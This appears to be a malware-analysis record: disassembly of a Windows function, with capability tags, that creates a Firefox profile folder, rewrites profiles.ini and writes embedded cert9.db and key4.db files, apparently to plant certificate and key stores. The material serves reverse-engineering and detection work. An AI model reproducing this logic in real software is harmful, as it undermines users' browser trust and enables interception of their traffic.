Function at 0x140015770
Capabilities:
Create directory
Get common file path
Read .ini file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x3a0
mov rax, qword [0x14014dd80]
xor rax, rsp
mov qword [rsp + 0x390], rax
lea rcx, [rsp + 0x61]
xor edi, edi
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x60], dil
call fcn.1400167a0
lea rcx, [rsp + 0x171]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x170], dil
call fcn.1400167a0
xor eax, eax
lea rcx, [rsp + 0x281]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x51], rax
mov dword [rsp + 0x59], eax
mov word [rsp + 0x5d], ax
mov byte [rsp + 0x5f], al
mov byte [rsp + 0x30], al
mov qword [rsp + 0x31], rax
mov qword [rsp + 0x39], rax
mov qword [rsp + 0x41], rax
mov dword [rsp + 0x49], eax
mov word [rsp + 0x4d], ax
mov byte [rsp + 0x4f], al
mov byte [rsp + 0x280], al
call fcn.1400167a0
lea r8d, [rdi + 0x1a]
lea rdx, [rsp + 0x60]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea rcx, [rsp + 0x60]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, str.Mozilla
lea rcx, [rsp + 0x60]
call fcn.140009e30
lea rcx, [rsp + 0x60]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, str.Firefox
lea rcx, [rsp + 0x60]
call fcn.140009e30
lea rcx, [rsp + 0x60]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x170]
call fcn.140009e70
lea rdx, str.profiles.ini
lea rcx, [rsp + 0x170]
call fcn.140009e30
xor r11d, r11d
lea rax, [rsp + 0x170]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x30]
lea rdx, str.Path
lea rcx, str.Profile0
xor r8d, r8d
mov dword [rsp + 0x20], 0x1f
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x38], r11
mov qword [rsp + 0x40], r11
mov qword [rsp + 0x48], r11
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp byte [rsp + 0x30], dil
jne 0x140015961
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1400170d0
lea r8d, [rdi + 0x10]
lea rdx, [rsp + 0x50]
lea ecx, [rdi + 8]
call fcn.1400058a0
lea r8, [rsp + 0x50]
lea rdx, str.Profiles__s.default
lea rcx, [rsp + 0x30]
call fcn.140016e00
lea r8, [rsp + 0x30]
lea rdx, str._General__r_nStartWithLastProfile1_r_n_r_n_Profile0__r_nNamedefault_r_nIsRelative1_r_nPath_s_r_nDefault1
lea rcx, [rsp + 0x280]
call fcn.140016e00
lea rcx, [rsp + 0x280]
call fcn.14000a040
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x170]
mov r8, rax
xor r9d, r9d
call fcn.140005b90
lea rdx, [0x140025640]
lea rcx, [rsp + 0x60]
call fcn.140009e30
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.140009e30
lea rcx, [rsp + 0x60]
mov edx, gethostbyaddr
call fcn.140009f20
mov rbx, rax
test rax, rax
jne 0x1400159a0
lea eax, [rbx + 0xd]
jmp 0x140015ae1
lea rcx, [rsp + 0x60]
xor edx, edx
mov byte [rax], dil
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rsp + 0x60]
xor edx, edx
mov byte [rbx], 0x5c
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, 0x48000
call fcn.140016c44
mov rbx, rax
test rax, rax
jne 0x1400159da
lea edi, [rax + 8]
jmp 0x140015ad2
xor edx, edx
mov r8d, 0x48000
mov rcx, rax
call fcn.1400167a0
lea rdx, [0x1400bdd70]
mov r8d, 0x48000
mov rcx, rbx
call fcn.140016910
cmp dword [0x1400bdd60], edi
je 0x140015a17
mov edx, 0x48000
mov rcx, rbx
mov r8d, edx
call fcn.140002ab8
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x170]
call fcn.140009e70
lea rdx, str.cert9.db
lea rcx, [rsp + 0x170]
call fcn.140009e30
lea rcx, [rsp + 0x170]
xor r9d, r9d
mov r8d, 0x48000
mov rdx, rbx
call fcn.140005b90
xor edx, edx
mov r8d, 0x48000
mov rcx, rbx
call fcn.1400167a0
lea rdx, str.2.b__
mov r8d, 0x48000
mov rcx, rbx
call fcn.140016910
cmp dword [0x1400bdd60], edi
je 0x140015a93
mov edx, 0x48000
mov rcx, rbx
mov r8d, edx
call fcn.140002ab8
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x170]
call fcn.140009e70
lea rdx, str.key4.db
lea rcx, [rsp + 0x170]
call fcn.140009e30
lea rcx, [rsp + 0x170]
xor r9d, r9d
mov r8d, 0x48000
mov rdx, rbx
call fcn.140005b90
test rbx, rbx
je 0x140015adf
mov rcx, rbx
call fcn.1400168c0
mov eax, edi
mov rcx, qword [rsp + 0x390]
xor rcx, rsp
call fcn.1400168a0
mov rbx, qword [rsp + 0x3b0]
add rsp, 0x3a0
pop rdi
ret